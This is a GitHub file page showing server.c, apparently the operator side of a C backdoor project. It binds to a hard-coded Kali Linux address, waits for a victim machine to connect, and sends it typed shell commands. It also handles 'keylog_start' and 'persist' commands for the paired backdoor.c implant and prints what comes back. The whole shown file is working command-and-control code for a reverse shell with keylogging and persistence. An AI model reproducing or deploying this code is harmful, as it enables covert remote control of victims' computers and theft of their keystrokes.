-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathserver.c
69 lines (63 loc) · 1.76 KB
/
server.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
int main()
{
int sock, client_socket;
char buffer[1024];
char response[18384]; //Must be same size as backdoor.c
struct sockaddr_in server_address, client_address;
int i=0;
int optval = 1;
socklen_t client_length;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) < 0)
{
printf("Error Setting TCP Socket Options!\n");
return 1;
}
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = inet_addr("192.168.56.102"); //IP addr of Kali Linux
server_address.sin_port = htons(50005);
bind(sock, (struct sockaddr *) &server_address, sizeof(server_address));
listen(sock, 5);
client_length = sizeof(client_address);
client_socket = accept(sock, (struct sockaddr *) &client_address, &client_length);
while(1)
{
jump:
bzero(&buffer, sizeof(buffer)); //bzero function natively exists in Linux C implementation
bzero(&response, sizeof(response));
printf("* Shell#%s~$: ", inet_ntoa(client_address.sin_addr));
fgets(buffer, sizeof(buffer), stdin);
strtok(buffer, "\n");
write(client_socket, buffer, sizeof(buffer));
if(strncmp("q", buffer, 1) == 0)
{
break;
}
else if(strncmp("cd ", buffer, 3) == 0)
{
goto jump;
}
else if(strncmp("keylog_start", buffer, 12) == 0)
{
goto jump;
}
else if (strncmp("persist", buffer, 7) == 0)
{
recv(client_socket, response, sizeof(response), 0);
printf("%s", response);
}
else
{
recv(client_socket, response, sizeof(response), MSG_WAITALL);
printf("%s", response);
}
}
}